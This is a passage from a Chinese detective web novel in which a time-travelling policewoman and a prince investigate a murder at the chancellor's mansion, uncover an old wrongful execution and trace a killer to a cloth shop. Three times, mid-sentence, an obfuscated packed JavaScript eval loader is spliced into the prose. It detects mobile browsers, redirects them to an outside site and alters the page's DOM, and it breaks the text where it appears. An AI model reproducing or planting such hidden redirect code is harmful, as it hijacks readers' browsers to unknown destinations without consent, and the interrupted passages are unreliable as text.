说的也是,路锦瞳抿唇。这个道理她懂,其实她说这句话的意思是想看看容筝和丞相的关系好不好,她不了解朝中趋势,不知道丞相站队在谁那边,倘若容筝和丞相是一伙的,那她也好适时做出应变。 容筝默了默,也懂了她的意思,随后道:"无论他官职如何,只要犯了罪,就要付出代价。" 路锦瞳觉得自己多嘴了,倘若他们之间真的有什么,那也不是她能知道的,朝堂中的事岂是她一个平民百姓能过问的?就算丞相站队容筝,那容筝能跟她说么?真是在水里泡久了脑子进水了。路锦瞳心中暗骂自己,随后对容筝敷衍的点头哈腰。 原身的记忆无法自动在她脑中呈现,还需要专门回忆。路锦瞳自觉越界,便不再多说,埋下头去来来回回回忆当初在丞相府听到那些话时的记忆,又将案子所有的线索全部理顺一遍,待一阵头脑风暴过后,丞相府已经到了。 丞相府门口挂着白幡,整府上下一片冷静肃穆,下人满脸木然的来来往往,见了他们也不稀奇。宋云知死后,查她案子的衙役总是会来问话,一直到现在都没有查出真相,继续有人来也是正常。 管家迎上来,见是容筝亲自过来,面上有些僵硬,他殷勤的引了他们进去,吩咐人上茶。 容筝婉拒道:“不必劳烦,本宫只是来例行问话,你们忙你们的就好。” 管家不敢不从,还是让人上了茶才快步跑开,路锦瞳猜测他是去向丞相报信,皇子来了府上,就算是说了不必让丞相专程跑来,他也不可能真就这样算了,谁能落皇子的面子? 他短暂出去一会儿就又回来了,恭恭敬敬道:“殿下要找谁问话,奴才给您找过来。” 容筝很给面子的喝了一杯茶,路锦瞳也牛饮了,他向管家点头:“本宫自己转转,你先下去吧。” 等到管家下去,他才起身,对路锦瞳道:“本宫常来丞相府,对这里算是熟悉,我们不会迷路,跟本宫走吧。” “好。”路锦瞳答应,按理说查案时应该直接让主家把相关人带出来询问的,询问方毕竟不理解主家那边是什么情况,避免遗漏东西让已知的人来才是正常,但容筝却要自己找人,他了解丞相府地形不代表他清楚府中究竟有多少下人,又有哪些下人和宋云知及柳絮来往多。 路锦瞳猜测他是忧心有人会被什么人买通或逼迫,如果被叫来的人都是刻意安排好的,那他们再问几遍都没有意义,还不如自己转转,说不定能靠自己发现什么。这样的事不仅是这里,路锦瞳从前也遇上过不少,因为他们的不配合走了许多弯路。 可惜从这事上面也看不出容筝究竟和丞相什么关系,路锦瞳偷偷抬眼看他。无论什么,她还是小心提防着些好,只要不触及容筝的利益,他就不会翻脸。 可路上遇到的人,除了鲜少几名外,几乎都没什么人向容筝见礼,反而看来的目光中都带有好奇,竟像是完全不认识他。路锦瞳快走几步与他并肩,轻声道:“殿下很少来丞相府?” 容筝“嗯”了一声。 路锦瞳歪歪头:“那殿下如何认得丞相府布局?我在与宋云知闹掰前也来了不少次,我都记不住啊。” 像容筝这种身份,特别还是外男,哪能轻易进后院,每次来丞相府大约也是被恭恭敬敬请进前厅,喝点茶再恭恭敬敬被送出来,恐怕他只能记得府门口到前厅的路吧? 容筝亦小声回复:“先前问沈大人要过布局图,本宫背下来了。” 路锦瞳肃然起敬,她怎么没想到呢,果然是脑子进水傻了。 他们把前厅逛了一圈,容筝主要去问男的仆从,了解了柳絮是从小就跟着宋云知的,服侍她近十年了,听说她们感情很不错,但再深的就不清楚了,毕竟他们不属于后院,只知道一些大概的情况,如果还想了解更深,还是得去问与柳絮走得近的丫鬟们。 可大理寺的人已去问过许多次了,都是无功而返,他们真的能问到东西么? 前院到后院要经过花园,花园正栽种了许多小树,还有一颗很大的罗汉松,容筝问:“宋云知那次是在哪里听到的,给我指指具体位置。” 罗汉松前面有一座假山,沟壑嶙峋,其下有无数缝隙,还有极小的洞穴,路锦瞳进去探头一看,发现里面别有洞天,居然有十几平米的空挡,人只需要稍稍弯腰便可进去,里面能容纳至少四五个人。 当日宋云知就是在这个洞口附近停下的,一定是在这里听到了有人讲话,路锦瞳给容筝指了指,他便一矮身,从洞口进来,路锦瞳便也不在门口堵着挡光,也提裙踏入。 这里大约是经常有人打扫,再加上树多,秋天落叶也多,只铺了薄薄的一层叶子,踩上去有清脆的沙沙声,光线从洞口透入,照亮洞口的一部分,再往深就看不到了。 容筝像叮当猫似的从袖中摸出一截蜡烛,又掏出火折子,点燃烛火,随后弯腰一寸一寸在地上查看。路锦瞳不好意思闲着,但她没有蜡烛,只好蹲下查看光照进来的地方,以及旁边的岩壁。 可惜这只是无用功,这里常有人打扫,就算是真如小说中那样慌忙间遗漏了什么,也不好找,恐怕早就被人捡走了。 但主角总会发现什么嘛,路锦瞳又抱了希望在附近转转,还怕容筝会忽略什么,跑去和他一起看,最终得出结论——她不是主角,也没有没脑子的反派专门给她落下东西。 他们两个有点沮丧的钻出来,路锦瞳叹气:“殿下,能向丞相讨一份当日里拜访的人员名单么?不论男女,只要是进了丞相府的,都要记上。” “要过,也查过,”容筝道,“当日来府中的只有女眷,未有官员来访。本宫想,他们如果来此处密谋什么,或许不会从大门进入,也有可能是从后门或小门,也许里头有人接应。” 路锦瞳点头:“确实,难道密谋谋害三皇子的人还是在丞相府?只是并非丞相本人?否则他们为何偏要在丞相府会面?” 容筝默道:“极有可能。” “那那人也太大胆了,居然敢在丞相府密谋这等事,他不怕被丞相发现么?这人身份一定不一般,如果是内部人,那恐怕是在这里待了数年的人才行,既能无声无息把与他谋和的人叫进来,还知道找个地方足够隐秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972506|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以及那段时间不会有人过来打扫,不会叫人发现。”路锦瞳挠挠头,觉得又长脑子了。 “那就把丞相府全体上下所有人都再查一遍。”容筝道,路锦瞳有些诧异地将他望望,这样的话,那就把丞相得罪大发了吧? 有下人们从这条路上来来往往,看来他们平时还是常会从这里路过的,路锦瞳越发肯定在假山洞中与人交谈的其中一位是丞相府中人了,这里毕竟是花园,又是直通两院的通道,那日还是宋云知邀请朋友来家里玩的日子,但原身迷了路却找不到一个能带路的人,太不正常了,能使唤动府中下人的恐怕只有主子,或者比较有话语权的管事。 容筝随意拦了一个:“劳烦,本宫是来查案的,将宋云知姑娘宴请贵女那日午时到未时从这里经过的人叫来,本宫有话要问。” 下人突然被拦,尚还有些懵,喃喃:“所有么?” “只要是从那里经过,或者说被人看到从哪里经过的,都叫来。”容筝道。 那场宴会持续时间并不久,原身曾在别的贵女口中听到过,皇上有意将宋云知许配给太子,那段时间宫中的教习嬷嬷每日上午都会过来教她宫中礼仪,所以宴会时间是订在临近中午,差不多快十一点那会儿。再加上原身和宋云知闹了不愉快,宴会早早结束,大家草草吃了个饭就离开了,中途也就三四个小时的样子,如果有人要来,那也差不多是在这段时间。 上午府中男眷都不在,上班的上班上朝的上朝,就算是管事也得出门采买或者办别的事,如果非要谈事,一般中午吃饭或者晚上吃饭以及夜间这会儿的时间才行,其他的时间不光引人注目,还容易被发现。 他们等了好久,方才那个下人才带了人匆匆往过跑,他气喘吁吁的抱歉:“大人恕罪,府内有些大,小人找人过来比较费时间。” “无妨。”容筝抬眼扫扫那些人,“这就是全部了?” 那人连连点头:“这是目前知道的,不知道还有没有遗漏的。” 容筝“嗯”了一声,扬声道:“本宫请诸位来此,是想问问,宋云知小姐办宴会那日,可有在这附近看到过什么奇怪的人?装扮奇怪,行动偷偷摸摸,不是丞相府中的都算。” 底下人交头接耳起来,随后纷纷摇头:“没见过。” “没见过。” 容筝道:“再仔细想想。” 于是那些人又絮絮叨叨起来,之后还是摇头:“没见过。” “等一下等一下!”一个身形较为矮小的下人在人群中举手,他一蹦一蹦的,努力引起他们的注意,瞧着面容年轻,约莫还是个孩子,他道:“大人,小人那天好像看到一个人在这附近鬼鬼祟祟的转悠。” 容筝颔首,随后叫其他人都散开,各归各位,只留下那一个下人,他有些拘谨地朝前,小心行礼:“大人。” 容筝道:“将你所见告诉我。” 他连忙称是:“小人那日给后院送些东西,经过这里的时候听到有草叶被踏过的声音,好奇便往过一瞧,正见一人从这匆匆跑过,小人看清了他的脸,确定他不是府中人。” 15. 第 15 章 嗯?路锦瞳插嘴道:“你怎么能确定不是丞相府的?你才多大,丞相府的人认全了么?” 下人挺起胸脯:“当然认全了!姑娘你别看我年纪不大,小人可是在府中待了八年了,丞相大人心善,将爹娘和小人都一起买进府中,小人是在丞相府长大的!” “是么?”路锦瞳摩挲下巴,“既然如此,那你为什么要站出来说这些呢?你知道我们在找什么人么?丞相是你们一家子的救命恩人,你这样说也不怕给他找麻烦?” 他一卡,眼珠抖了抖,随即大声道:“当然不怕,丞相大人那么好,怎么可能会和你们查的案子有关?身正不怕影子斜!再说了,小姐平素对我们这些下人极好,如今她不明不白地被害,能为她做些什么那是小人的荣幸!” 路锦瞳哼了一声没再讲话,容筝适时地接上话头:“你看清了他的脸,可认识?” 下人闻言左右看看,眼珠转动,一副小心翼翼的模样,他往前走了两步,离他们近了些,拢嘴道:“小人看着,像是兵部尚书朱大人家的公子,他与五公子玩得不错,常来府中做客,小人见过多次,不会认错的。” 容筝与路锦瞳对视,眼中都有诧异,他道:“确定?” “确定!”下人说,“小人见过朱公子好多次了,不会认错的。” 容筝颔首,他挥挥手让他退下,随后继续负手前行,是后院的方向,看来是打算接着问,他头也不回道:“你怎么看?” “?”路锦瞳意识到这是在问她,便接话:“我觉得有点怪。” 容筝“嗯”了一声:“细说。” 路锦瞳便细说了:“在我们来这里之前,也有很多衙役来问过,我的证词也都给他们分发过,他们知道我是在什么时候听到有人交谈的,就算问问题,应该也不会和殿下您问的差太多,就别说他们来问的时候兴师动众,府中的下人都会问上一遍,怎么他们就什么都没问到,咱们一来,就有人跳出来了呢?” 她抿了抿唇:“姑且算他在犹豫要不要说,可我方才问他时,他说的那些话也不像是犹豫过,脸上也没有为难的表情,眼珠到处乱转,不自觉往右上角看,分明是撒谎的表现。” “你的意思是,他刚说的全都是假话?”容筝问。 “不不不,也不能这么武断,”路锦瞳摇摇手指,“我猜测,他撒谎的点不在内容,而是在动机。” 容筝略一沉吟,立马反应过来:“你是想说,他说的都是真的,朱家公子的确来过丞相府,也曾在假山中与人会面,只是他说的太迟了,像是被人推出来的一样。先前不打算说是因为他也没有看到,现在讲了则是因为幕后之人发现我们越查越深,他们不想被查出,只好先推出个挡箭牌,牺牲掉不必要的人。” 路锦瞳向他比出个大拇指:“对!但只是猜测,不过我觉得八九不离十,那个下人毕竟还是个孩子,撒谎还有点生疏,其实只要我们再多逼问一些细节,他就会露出破绽。因为他根本就没有看到那样的场面,告诉我们的信息都是提前编好的,哪怕是为了防止被看出提前演练过,可我们只要抓着小细节不放一直问,他肯定会方寸大乱。” 容筝闻言点头,他慢慢漾出笑来:“本宫现在觉得,叫你一起来是个很明确的选择,从你身上学到了不少东西,你不会怪我偷师吧?” 路锦瞳没注意到他的自称已经变成了“我”,还在犹自挠头傻笑:“殿下过誉,我这就是些小把戏而已,是您足够聪明,有些东西我都没想到您就想到了。” 虽然有一部分拍马屁的嫌疑,但她是认真的没错,从前爸爸在的时候就说她聪明,观察细致,是做刑警的料,后来她进入了工作岗位,其中不乏聪明的,但很少能有人与她同频,很少和她想到一块儿去,路锦瞳常常臭屁强者都是孤独的,没想到穿越一趟,还找到了能跟上她思维的人,要不是对方是个皇子,她早就去勾肩搭背了。 容筝笑了一下:“既然如此,那本宫可就要继续向你讨教了。” “讨教不敢当,”路锦瞳摆摆手,“我们互相学习吧,我不会的您教我,您想学的问我,如何?” “好。”容筝道,“那本宫现在就想问你一下,你刚刚说他眼睛看向右上角,这是常见的说谎表现,本宫只听说过眼神飘忽是在撒谎,却不知固定看向一个方向也算撒谎。” “这个还是挺常见的,您得多观察。”路锦瞳不知道该怎么说,只好瞎编一个,她总不能说这是看心理学方面的书学的吧,届时容筝如果向她借,那她去哪里偷来一本呢? 她转移话题道:“其实办案要经常观察犯人的行为举止,这样方便结合心境推理。” 容筝若有所思:“就像上次你在酒楼那样?” “对,”路锦瞳道,“不过那个很难学,我只是会一点皮毛,还是之前听一位老师的课,他讲得很细致,我也是听过转述后自己了解了一下,才学了个半会。” 那是前几年的事情了,那会儿路锦瞳也刚刚迈入行业,她对这个行业很感兴趣,自然也愿意努力多学习有关知识,刑警是有时忙有时闲,忙的时候她就到处跟着大部队学习,闲下来忙完手头的工作就跑到学校听名师讲座。 她学到了不少东西,也期盼着名师能来A城教学,哪怕只上一节课也好。路锦瞳听过一个天才的名头,那人专研究犯罪心理学,是侧写师中的佼佼者,更是业内大亨的高徒,他上课没有几年,但却吸引了好多人去听,路锦瞳也很想去,但她又想跟大案子,很少有走开的时候,一直都没找到机会,一直都是看别人的录频,画质不太行,好在音质很好,她跟着学了不少的知识。 那位老师也姓容,之后他好不容易要来A城讲课,路锦瞳本来都摇人帮忙给她占座了,却临时接到案子,最后只让朋友去帮忙录了一节视频,她忙完了才有空看。 那节课就是讲侧写的入门,容老师讲的很清楚,几乎是做好饭端到跟前喂到嘴边,路锦瞳边听边找了他推荐的书去看,居然真的摸到了入门的诀窍。 之后她再想进益,却没有机会,也没有精力了,容老师跑去别的地方讲课,A城只是他众多旅程中的一站,要想再听,恐怕得等好几年,人家是大学教师,除了全国跑着讲,还要给自己的学生讲,根本没有机会,她从前还想过万一能当容老师的学生该有多幸福,早知道晚生几年就好了。 只可惜之后再也没机会听了,路锦瞳有些惆怅的叹了口气。 “这么说来,那位老师还挺厉害,能给本宫引荐一下么?”容筝把她从回忆中拉出来。 路锦瞳无奈道:“那位老师很神秘的,到处跑,当时我也是与他偶然碰到,他浅浅开导了我一下,之后就走了,我都不知道他叫什么。如果我还能遇见,一定介绍给你认识,让他也教教你。” 容筝微笑颔首,没再问下去。 路锦瞳又把话题引回来:“殿下,我觉得我们可以继续问问,既然挡箭牌已经出来了,那就不可能只有一个,说不定还有呢,看看还能不能得到有用的信息。” 这就跟打游戏通关似的,想要知道最终的结果,就需要到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972507|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处找东西,集齐碎片才能解锁下一个,主要是看其中的难度了。 “好。”容筝没意见,“本宫觉得,只要再问问与柳絮相识的人就好,目前我们得到的信息也就是那些,并针对那些查,幕后之人若想草草结案,那么就必须根据那些信息延展,其余的反而不会刻意。” 路锦瞳点点头,如果幕后之人想把水搅浑,那就不会把朱家公子推出来,而是又让他们“发现”一些新的线索,乱上加乱了。既然这么做了,那么就证明,他们急了,像赶紧推出个人来结案,以免真相被挖出来。 路锦瞳道:“那我们就继续往下查吧,像他们所期盼的那样。” 宋云知的院子如今无比凄凉,与原身记忆中热热闹闹的样子形成鲜明的对比,路锦瞳远远看过去,不免叹息,果然是人走茶凉。 他们照例还是去找与柳絮相熟的丫鬟问话,丫鬟们依旧是一问三不知,没有发现柳絮的异常,她们主仆间也没有闹矛盾。 路锦瞳干脆换了个问法:“柳絮是什么时候开始伺候宋小姐的?” 丫鬟A道:“很久了吧,柳絮姐姐好像小的时候就过来了,听柳絮姐姐说,当初他们家穷的不行,在大街上讨饭,遇见了老爷,老爷心善,就把柳絮姐姐带回来了。本来是要把柳絮姐姐的爹娘也一起带着进府做事,但他们拒绝了,自己找了差事做工,不想麻烦老爷,更不想拖累柳絮姐姐。” 路锦瞳循循善诱:“那现在呢?柳絮的爹娘去哪里了?官府查找的时候只找到了她的舅舅。” “她爹娘不在了,”丫鬟B接话,“她爹娘惹上了官司,当时那事闹得挺大,柳絮姐姐找小姐求情小姐没答应,于是她爹娘下了狱,因为刑罚太重没撑过来,就死在狱中了。” 路锦瞳若有所思的点头,还未再问下一步,就有小丫鬟插嘴道:“有没有可能,柳絮姐姐害死小姐,就是为她爹娘报仇啊?当时柳絮姐姐求小姐救她爹娘时哭的可厉害了,头都嗑肿了,但小姐一点反应都没有,最后也没答应,柳絮姐姐虽然不说,是不是怨恨她见死不救?” 这话一出,丫鬟们都是眼睛一亮,丫鬟A道:“诶你别说,还真有可能。” 路锦瞳得到了信息,便让她们都散了,她迈出门去,容筝正在树下的一处石桌坐着自己跟自己下棋。因为是和女眷聊线索,他就没进去,全权交给了路锦瞳,自己等在外面,好不让那些丫鬟们紧张。 “问出来了么?”容筝抬头。 路锦瞳点头,她道:“边走边说吧。” 容筝收拾好桌上的棋局,路锦瞳搭了把手,她道:“殿下,您的权限能去府衙或者大理寺查案簿么?” “可以,”容筝道,“怎么了?” 他们一起往丞相府门口走,打算离开了:“是这样的,我刚刚听那些丫鬟们说,柳絮的爹娘曾经惹了什么官司,之后就去世了,柳絮曾经求过宋云知救她父母,但宋云知拒绝了,无论怎么哀求都没有答应,这致使了她父母的死亡。丫鬟猜测,柳絮可能会因此怀恨在心,我想去查一查这是个什么案子,柳絮的父母在其中扮演了什么角色,真凶是不是他们,宋云知又是因为什么不施以援手的。” 容筝道:“本宫未听说过,这种小案子应该是在府衙,我们现在过去就好。” 路锦瞳“嗯”了一声:“凶手的女儿是丞相府小姐的贴身丫鬟,这个应该很好找,不是很费劲,到时候看看卷宗了解一下,我觉得丫鬟们说得对,柳絮之所以会同意给宋云知下药,这件旧事可能起了一个很大的推进作用。” 16. 第 16 章 庞载过世后,朝廷很快派了新的官员下来接替他的位置。 那是个年轻人,看上去老实憨厚,衙门中的人都不怎么愿意搭理他,大约是瞧他年轻,又都是跟了庞载好多年的旧人,自然会给新来的脸色看。容筝向他说明来意他叫人去寻的时候那个捕快满脸写着不耐,若不是容筝在这,恐怕能撂摊子走人。 容筝温声道:“这样可不行,会影响效率。” 钟煜连忙起身拱手:“殿下教训的是,下官一定好好管束他们。” 衙役特意找了在衙门中待了几十年的老人来寻,果然没过一会儿便找到了。路锦瞳坐近了些,与容筝一起凑头看,她现在已经能通篇看下来了,不像刚来那会儿和纸张大眼瞪小眼。 这是五年前的事情了,柳絮父母的卷宗只在一沓中占了几行笔墨,甚至都没有个全名。 柳氏夫妇杀害六人,已处斩。 证据存疑,驳回。 呈来卷宗的老衙役讲解道:“五年前,曾有六名少年被残忍杀害,其中一位死在柳絮父母做活的红梅客舍,而正正好,当时与死者有过接触的也正是他们两个。庞大人那会儿还在任,他带着我们查了一个多月,都没查出什么,好不容易等到凶手又犯了一案,这次还是在闹市,柳氏夫妇又被抓了个现行,当然不会放过。” 路锦瞳有些愤然:“所以你们就干脆利落的把人斩了结案?” 衙役无奈:“那个时候种种证据都指向他们,庞大人还找到了关键物证,当然就能确定了,人证物证具在,他们还有什么可反驳的。” 许是也被冤枉过一回,路锦瞳特别能体会柳氏夫妇的冤屈,她无名火自心头起,声音都变大了:“那最后证据不还是被推翻了?你们找的什么物证,能把人钉死吗?仅凭一个不能断定他们嫌疑的证据就将人判了死刑,未免也太武断了。” 让她来说,像庞载这样的人,说不定是因为上面催的不行了,他找不到凶手无法交差,正好柳絮父母送上门,他急于结案,干脆就把这口锅扣到了他们的头上。 老衙役被她说的脸红,不禁反驳道:“庞大人查案很辛苦的,你一个姑娘家不懂就别乱讲。” 辛苦?路锦瞳简直要被气笑了,他辛苦什么?发愁怎么给她扣锅辛苦吗?她道:“大叔,你少看不起人了,连关键证据都能找错,我看你们庞大人也没强到哪里去,干了这么多年还能犯这种低级错误,不是故意的就是脑子不行。” 老衙役怒道:“你!……” “好了,说案件。”容筝等路锦瞳说舒服了才慢悠悠打断,他不急不缓道:“柳絮是什么时候来为他二人求情的?” 老衙役道:“过了很久了,庞大人找到证据,宣判处斩的前一日。本来我们听说柳氏夫妇的女儿是丞相府大丫鬟还有些害怕,不知道此举会不会得罪丞相大人,可庞大人不怕,坚持要让真相水落石出,还好丞相大人也不徇私。” 路锦瞳白眼都要翻到天上去,她凉凉道:“是啊,然后你们就冤枉了好人。” 眼看老衙役又要反驳回去,容筝急忙道:“柳氏夫妇没有把处境告诉柳絮?” 老衙役叹气:“他们怕女儿担心,也怕会连累她,耽搁着无法继续在丞相府做事,一直都憋着没说,还是丞相大人知晓此事后去通知柳絮姑娘的,但那时罪行已判,一切都来不及了。” 路锦瞳看着那沓卷宗,柳氏夫妇不是真凶,在证据被查出存疑后,这桩案子再也没有了进展,凶手未再犯案,而庞载在最后一桩案子发生时把注意力全部投在了柳氏夫妇身上,也没有注意到别的,有用的线索几乎没有,案子被迫断在这里,至今未破。 一直到离开府衙,路锦瞳都在沉思,她蓦地问容筝:“这桩案子,沈大人没有管么?” 容筝缓缓摇头:“当时宫中发生了一场大案,父皇让沈大人彻查,待沈大人查完后,据柳絮父母处斩已经过了半个多月,他去了解时,已经没有什么值得查证的线索了。” 原来是没赶上,路锦瞳又道:“那皇上也不管么?” 容筝仍是摇头:“六名被害人皆是寻常人家的孩子,父皇根本不知道有这回事。” 因为是平民百姓所以无法上达天听,这么说来也正常。路锦瞳点点头,他们一同上了马车,她瞧容筝神色有异,没忍住道:“殿下好像很了解这件案子。” 容筝眸色一顿,他微微笑笑,不摇头也不点头,路锦瞳看出这是不想多说的意思,便识趣的住嘴了。 回到大理寺时午饭时间已经过去了,但食堂大叔特意给他们留了饭菜,一听说回来了回锅热热,再叫人送过来。路锦瞳早已饿得前胸贴后背,顾不上讲话先是一顿暴风吸入。 容筝默默端着盘子离她远了点,生怕她一不小心连他的那份也一起吃了。 外出走访的衙役有了好消息,他在拿着凶手画像四处问时,有人点出了那人的身份,说是沼土村的赵阿大,他便马不停蹄的跑去村里问。 村长很热情的为他引路,衙役发现赵阿大并不是独身一人,他还有妻子和孩子,只不过早已人去楼空。 他拜托村长帮忙问其他村民有没有人见到他们,又是往哪里走的,便不再多留,急急忙忙回来报告好消息。 路锦瞳一听来了劲头,想着要不然往沼土村跑上一趟,多问问村民,一定能问出什么线索,顺便翻找一下他们的家,如果走的急,肯定顾不得带什么东西,说不定能从别人口中或找到的东西里发现一点蛛丝马迹。 一起前去的衙役们都骑马,路锦瞳不太好意思专门让人备个马车,而且马车速度比骑马慢,效率不高,她也不能做拖后腿的那个人,万一去晚了错过什么重要信息呢? 但是如果要跟着一起,那就势必得骑马,路锦瞳之前在现代的时候和同事们一起出去旅游,在草原上骑过马,只是那时有人帮她牵着缰绳,至多就是走一走,没有人帮忙牵着,还要让马快跑,嘶,难到她了。 路锦瞳挠了挠头,觉得要长脑子了,和熟人共乘也不是不行,但只怕她不介意,但是他们介意。 正抓耳挠腮着,容筝牵了匹马过来,把缰绳递给她:“这是本宫的马,性子温顺,你骑这个吧。” 路锦瞳下意识道:“那殿下您呢?” 容筝摆摆手:“本宫再去寻其他的,大理寺有很多马。” “那就多谢殿下了。”路锦瞳道谢,随后接过缰绳来,那匹马果真很乖,她大着胆子摸了摸,马任由她抚来抚去,甚至主动过来蹭蹭。 路锦瞳对这种毛茸茸的东西想来没有抵抗力,不禁摸上瘾了,直到容筝过来催她才如梦初醒。 马看到他的主人过来,还张了张嘴,路锦瞳被吓得后退一步……马哥,咱有话好好说,别突然张嘴行吗?您张嘴还是挺吓人的。 她个子够高,踩了脚蹬便坐上去了,容筝和她并排,轻声驱使,防止路锦瞳不会,刚开始速度缓缓,之后慢慢就快起来了,完全是她能接受的范围。 路锦瞳讶异自己居然这么容易就适应了骑马,不仅如此,还根据容筝的动作学会了如何变速,掉头,左右转,可惜这匹马是容筝的,肯定跟了他很多年,不然她真想把这匹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977032|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马买下来。 ……路锦瞳又低头看了看马,还是想要。 跑了约莫小半个时辰,沼土村终于到了,村长在门口迎着,瞧见那个衙役策马而来,拄着拐来迎接,他道:“大人,有人看到他们离开了。” 衙役顾不得给他挨个儿介绍,从马上跳下,喜道:“真的?!那个人呢?他在哪儿?我们过去找他!” “大人这边请。”村长率先引路。 衙役走的飞快,村长上了年纪一条腿有些跛了,却也走得飞快。路锦瞳瞠目结舌,也不敢走慢,捂紧要飞的帷帽也跟着小跑起来。 那人正在院子里做活,见一群人浩浩荡荡过来,连忙起身,村长急道:“快,你说说你在哪儿看到他们的来着?” 村民见是和衙役见了个礼,然后道:“回大人,是这样的,昨天晚上我下工晚,村长也知道,我下工的必经之路就是沼尾峰,我大约将近亥时那会儿回来,就见赵阿大她媳妇牵着她家孩子正急匆匆往山的深处走。我本想打个招呼,但她走太快,还不时回头看什么,像是有人追着她跑似的,就什么都没来得及说,她也没看到我。” 路锦瞳探出头:“山的对面有什么?” 村长替他回答了:“对面是金陵城,我们有时会去那边做生意,就要经过沼尾峰。” “这么说,沼尾峰没有危险了?” “没有。”村长摇头,“顶多就是些野兽,但因为我们常来往,数量早就不多了。” 路锦瞳“嗯”了一声,道:“大哥,您是只看到了赵阿大的妻子和孩子么?赵阿大你看见没?” “没有。”村民摇头,“就他俩,赵阿大已经好几天都没有回来了,我们还常问呢,他媳妇也不知道他去哪里了,还托人到处找呢。” 赵阿大的妻子是真不知道他去哪儿了,还是装的呢?路锦瞳摸摸下巴,那边衙役已经在向村长和村民道谢了,他替路锦瞳把话说出来:“村长,麻烦您派个人带我们去赵阿大家里看看吧。” 村长忙不迭的答应,派了个腿脚利落的村民带路。 赵阿大的家离沼尾峰不远,与其他村民不在一处,相对偏僻一些,也难怪他做什么事都没有人发现,如果他随时离开,恐怕除了妻子,也没有人能注意的到。 途中,容筝派一人回去,将情况禀报给沈知安,并请求派出一部分人来支援,分两组,一组搜山,不能排除赵阿大和其妻子在山中躲藏的猜测;另一组则由村民带路循着沼尾峰通往金陵城的方向去,并在城中问询有没有与赵阿大妻子相似的人。 赵阿大家的院子不大,除了卧房和厨房之外,也就剩一间柴房了,容筝让人分散下去,他和路锦瞳负责卧房。 人住的最多的地方一般线索更大,路锦瞳自己的房间都有很多秘密,包括影视剧中,想要从某人那里拿到一样东西,一般去的最多的地方就是当事人的卧室。 卧房有些凌乱,显然赵阿大的妻子离开时很匆忙,衣柜中衣服只带走了秋季长衫,还有稍厚一些的,轻薄的以及棉袄还在衣柜中,值钱东西一件没有,想来也是全拿走了。 路锦瞳蹲在地上循着边边角角仔细看过去,这里的生活痕迹很重,但多半是妻儿的,属于赵阿大本人的很少,他是不常在家么? 把他们送来的村民还没走,路锦瞳扬声喊他进来,问道:“大哥,你们知道赵阿大是做什么养家的么?” 村民挠了挠头:“他说他在京城的铺子里打工,叫什么来着……锦绣布纺,对,是锦绣布纺,那家老板人挺好的,经常给他放假,工钱也开得特别多。” 17. 第 17 章 "锦绣布纺?"路锦瞳带着疑问的眼神看向容筝,“殿下知道这个地方么?” 容筝眉头紧皱:“尚衣局制衣时有些料子会从锦绣布纺进货,据本宫所知,锦绣布纺乃是朱大人嫡妻家的产地。” 又绕回来了,丞相府小厮指认当初原身和宋云知在假山中听到设计谋害三皇子的其中一人是朱家公子,而杀死柳絮和柳烨的凶手赵阿大则是朱家嫡母布纺中的人,这就意味着,朱家一定参与了这件事,只是无法分清他们在其中扮演的角色,是主犯还是从犯。 路锦瞳问:“殿下派人去查朱家了么?” 容筝点头:“中午回来之后,本宫就派人去探查了,约莫等我们回去就会有消息。” 他们没在屋中找到什么东西,其他人也没有搜到,三间房子大多数的痕迹都来源于赵阿大的妻儿,衣柜中甚至都没几件他的衣裳,看来想找相关东西还得去锦绣布纺,这里并不是赵阿大经常住的地方,他的妻儿很有可能都不知道他在除了“伙计”这一身份之外还有“杀手”的活要干,他将这一情况隐瞒的很好。 “回城吧,”容筝说,“我们去锦绣布纺看看,本宫记得,离家远的伙计那边是会管食宿的,说不定赵阿大住的房间有别的线索。” 路锦瞳跟着出门,又跑了半个多时辰回城,锦绣布纺在城中心,接近大理寺,容筝没让衙役们跟着,先让他们把情况汇报给沈知安,只带了路锦瞳。 布纺的伙计热情迎出来,殷勤的为他们牵马:“四皇子殿下来了,您快请进。” 容筝颔首,随即道:“本宫今日是来查案的,麻烦叫你们掌柜出来。” 伙计一怔,随后连忙点头哈腰的去了。 路锦瞳凑过去摸摸那些光滑的料子,随口道:“殿下,你经常来这边买东西?” 容筝道:“是,阿微……本宫的皇妹,她眼光挑,有时宫里呈上来的料子她瞧不上,就会来这里挑,不过大多都是本宫过来,买了给她送去。” 路锦瞳“哇”了一声,恭维道:“有殿下这样的哥哥,那可是太幸福了。” 容筝笑而不语。 不过聊两句的工夫,掌柜的就匆匆从内间出来,他向容筝见礼:“殿下,下头的人说您是来查案子的?草民有什么能帮您的?” 